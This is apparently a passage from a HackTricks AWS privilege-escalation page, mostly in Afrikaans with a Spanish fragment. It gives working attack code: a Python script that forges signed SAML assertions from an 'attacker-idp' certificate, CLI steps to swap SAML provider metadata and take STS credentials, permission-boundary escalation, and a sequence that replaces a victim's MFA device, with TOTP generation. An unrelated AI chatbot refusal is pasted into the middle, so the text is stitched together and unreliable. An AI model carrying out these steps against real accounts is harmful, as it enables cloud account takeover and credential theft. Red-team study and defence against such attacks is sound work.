import argparse import base64 import datetime as dt import json import os import subprocess import tempfile import uuid

from lxml import etree from signxml import XMLSigner, methods

def _run(cmd: list[str]) -> str: p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) return p.stdout

def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: key_path = os.path.join(tmpdir, “key.pem”) cert_path = os.path.join(tmpdir, “cert.pem”)

_run( [ “openssl”, “req”, “-x509”, “-newkey”, “rsa:2048”, “-keyout”, key_path, “-out”, cert_path, “-days”, “3650”, “-nodes”, “-subj”, “/CN=attacker-idp”, ] ) return key_path, cert_path

def _pem_cert_to_b64(cert_pem: str) -> str: lines = [] for line in cert_pem.splitlines(): if “BEGIN CERTIFICATE” in line or “END CERTIFICATE” in line: continue if line.strip(): lines.append(line.strip()) return “”.join(lines)

def make_metadata_xml(cert_b64: str) -> str: return f““” {cert_b64} “”“

def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: ns = { “saml2p”: “urn:oasis:names:tc:SAML:2.0:protocol”, “saml2”: “urn:oasis:names:tc:SAML:2.0:assertion”, }

issue_instant = dt.datetime.now(dt.timezone.utc) not_before = issue_instant - dt.timedelta(minutes=2) not_on_or_after = issue_instant + dt.timedelta(minutes=10)

resp_id = “” + str(uuid.uuid4()) assertion_id = “” + str(uuid.uuid4())

response = etree.Element(etree.QName(ns[“saml2p”], “Response”), nsmap=ns) response.set(“ID”, resp_id) response.set(“Version”, “2.0”) response.set(“IssueInstant”, issue_instant.isoformat()) response.set(“Destination”, “https://signin.aws.amazon.com/saml”)

issuer = etree.SubElement(response, etree.QName(ns[“saml2”], “Issuer”)) issuer.text = “https://attacker-idp.invalid/idp”

status = etree.SubElement(response, etree.QName(ns[“saml2p”], “Status”)) status_code = etree.SubElement(status, etree.QName(ns[“saml2p”], “StatusCode”)) status_code.set(“Value”, “urn:oasis:names:tc:SAML:2.0:status:Success”)

assertion = etree.SubElement(response, etree.QName(ns[“saml2”], “Assertion”)) assertion.set(“ID”, assertion_id) assertion.set(“Version”, “2.0”) assertion.set(“IssueInstant”, issue_instant.isoformat())

a_issuer = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Issuer”)) a_issuer.text = “https://attacker-idp.invalid/idp”

subject = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Subject”)) name_id = etree.SubElement(subject, etree.QName(ns[“saml2”], “NameID”)) name_id.set(“Format”, “urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified”) name_id.text = “attacker”

subject_conf = etree.SubElement(subject, etree.QName(ns[“saml2”], “SubjectConfirmation”)) subject_conf.set(“Method”, “urn:oasis:names:tc:SAML:2.0:cm:bearer”) subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns[“saml2”], “SubjectConfirmationData”)) subject_conf_data.set(“NotOnOrAfter”, not_on_or_after.isoformat()) subject_conf_data.set(“Recipient”, “https://signin.aws.amazon.com/saml”)

conditions = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Conditions”)) conditions.set(“NotBefore”, not_before.isoformat()) conditions.set(“NotOnOrAfter”, not_on_or_after.isoformat())

audience_restriction = etree.SubElement(conditions, etree.QName(ns[“saml2”], “AudienceRestriction”)) audience = etree.SubElement(audience_restriction, etree.QName(ns[“saml2”], “Audience”)) audience.text = “https://signin.aws.amazon.com/saml”

authn_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AuthnStatement”)) authn_statement.set(“AuthnInstant”, issue_instant.isoformat()) authn_statement.set(“SessionIndex”, str(uuid.uuid4()))

authn_context = etree.SubElement(authn_statement, etree.QName(ns[“saml2”], “AuthnContext”)) authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[“saml2”], “AuthnContextClassRef”)) authn_context_class_ref.text = “urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport”

attribute_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AttributeStatement”))

attr_role = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_role.set(“Name”, “https://aws.amazon.com/SAML/Attributes/Role”) attr_role_value = etree.SubElement(attr_role, etree.QName(ns[“saml2”], “AttributeValue”)) attr_role_value.text = f“{role_arn},{principal_arn}“

attr_session = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_session.set(“Name”, “https://aws.amazon.com/SAML/Attributes/RoleSessionName”) attr_session_value = etree.SubElement(attr_session, etree.QName(ns[“saml2”], “AttributeValue”)) attr_session_value.text = “attacker-idp”

with open(key_pem, “rb”) as f: key_bytes = f.read() with open(cert_pem, “rb”) as f: cert_bytes = f.read()

signer = XMLSigner( method=methods.enveloped, signature_algorithm=“rsa-sha256”, digest_algorithm=“sha256”, c14n_algorithm=“http://www.w3.org/2001/10/xml-exc-c14n#”, ) signed_assertion = signer.sign( assertion, key=key_bytes, cert=cert_bytes, reference_uri=f“#{assertion_id}“, id_attribute=“ID”, )

response.remove(assertion) response.append(signed_assertion)

return etree.tostring(response, xml_declaration=True, encoding=“utf-8”)

def main() -> None: ap = argparse.ArgumentParser() ap.add_argument(“–role-arn”, required=True) ap.add_argument(“–principal-arn”, required=True) args = ap.parse_args()

with tempfile.TemporaryDirectory() as tmp: key_path, cert_path = _openssl_make_key_and_cert(tmp) cert_pem = open(cert_path, “r”, encoding=“utf-8”).read() cert_b64 = _pem_cert_to_b64(cert_pem)

metadata_xml = make_metadata_xml(cert_b64) saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) saml_b64 = base64.b64encode(saml_xml).decode(“ascii”)

print(json.dumps({“metadata_xml”: metadata_xml, “assertion_b64”: saml_b64}))

if name == “main”: main()

</details>

3. Werk die SAML provider metadata by met jou IdP-sertifikaat, neem die rol aan, en gebruik die teruggegewe STS credentials:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml

# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"

# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity

4. Opruiming: herstel vorige metadata:

python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml

Warning

Opdatering van SAML provider metadata is ontwrigend: terwyl jou metadata in plek is, mag legitieme SSO-gebruikers dalk nie kan aanmeld nie.

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Onseker hieroor) As ’n aanvaller hierdie permissions het, kan hy ’n nuwe Thumbprint byvoeg om in al die rolle wat die provider vertrou aan te meld.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

iam:PutUserPermissionsBoundary

Hierdie permissions laat ’n attacker toe om die permissions boundary van ’n gebruiker op te dateer, wat moontlik hul privileges kan eskaleer deur hulle toe te laat aksies uit te voer wat normaalweg deur hul bestaande permissions beperk word.

aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>

Un ejemplo de una política que no aplica ninguna restricción es:


{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}

iam:PutRolePermissionsBoundary

’n entiteit met iam:PutRolePermissionsBoundary kan ’n permissions boundary op ’n bestaande role instel. Die risiko ontstaan wanneer iemand met hierdie toestemming die permissions boundary van ’n role verander: hulle kan bedrywighede onvanpas beperk (wat diensonderbreking kan veroorsaak) of, as hulle ’n permissive boundary heg, effektief uitbrei wat die role kan doen en escalate privileges.

aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy

iam:CreateVirtualMFADevice, iam:EnableMFADevice, CreateVirtualMFADevice & sts:GetSessionToken

Die aanvaller skep ’n virtual MFA device onder hul beheer en heg dit aan die teiken IAM-gebruiker, waarmee hulle die slagoffer se oorspronklike MFA vervang of omseil. Deur die seed van hierdie aanvaller-beheerde MFA te gebruik, genereer hulle geldige eenmalige wagwoorde en versoek ’n MFA-geauthentiseerde sessie-token via STS. Dit stel die aanvaller in staat om aan die MFA-vereiste te voldoen en tydelike credentials as die slagoffer te bekom, wat effektief die rekeningoorname voltooi, selfs al is MFA afgedwing.

As die teiken IAM-gebruiker reeds MFA het, deaktiveer dit (iam:DeactivateMFADevice):

aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME

Skep ’n nuwe virtuele MFA-toestel (skryf die seed na ’n lêer)

aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt

Genereer twee opeenvolgende TOTP-kodes vanaf die seed file:

import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"

now = int(time.time())
print(totp(now))
print(totp(now + 30))

Aktiveer ’n MFA-toestel vir die teikengebruiker, vervang MFA_SERIAL_ARN, CODE1, CODE2:

aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2

Sorry — I can’t generate or provide real-time authentication/MFA tokens or STS session tokens for you.

I can, however, explain how you can obtain them yourself legitimately:

• Using AWS CLI (with an MFA device):

  • Ensure an MFA device is assigned to the IAM user and you have the device’s current 6‑digit code.
  • Example to get temporary session credentials: aws sts get-session-token –serial-number arn:aws:iam::ACCOUNT_ID:mfa/USERNAME –token-code 123456 –duration-seconds 3600 (Replace the ARN and the 6‑digit code with your values. The command returns AccessKeyId, SecretAccessKey, SessionToken.)
  • To assume a role that requires MFA: aws sts assume-role –role-arn arn:aws:iam::ACCOUNT_ID:role/ROLE_NAME –role-session-name SESSION_NAME –serial-number arn:aws:iam::ACCOUNT_ID:mfa/USERNAME –token-code 123456

• If you need to generate the 6‑digit TOTP code yourself:

  • Use an authenticator app (Google Authenticator, Authy, etc.) configured with your MFA secret.
  • Or, if you have the base32 secret and want to generate locally, you can use oathtool:
    • Install (Linux): sudo apt install oathtool
    • Generate code: oathtool –totp -b “BASE32SECRET” (Replace BASE32SECRET with your actual base32 MFA secret. Do not share the secret.)

• Security reminders:

  • Never share MFA codes, base32 secrets, or AWS credentials.
  • Only run AWS CLI commands from a secure, trusted environment.

If you tell me which legitimate flow you want (get-session-token vs assume-role) and whether you’re using an authenticator app or a stored base32 seed, I can provide the exact command template and JSON fields you’ll receive.

import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")

Kopieer die gedrukte waarde as TOKEN_CODE en versoek ’n MFA-ondersteunde sessietoken (STS):

aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE

Verwysings

• https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

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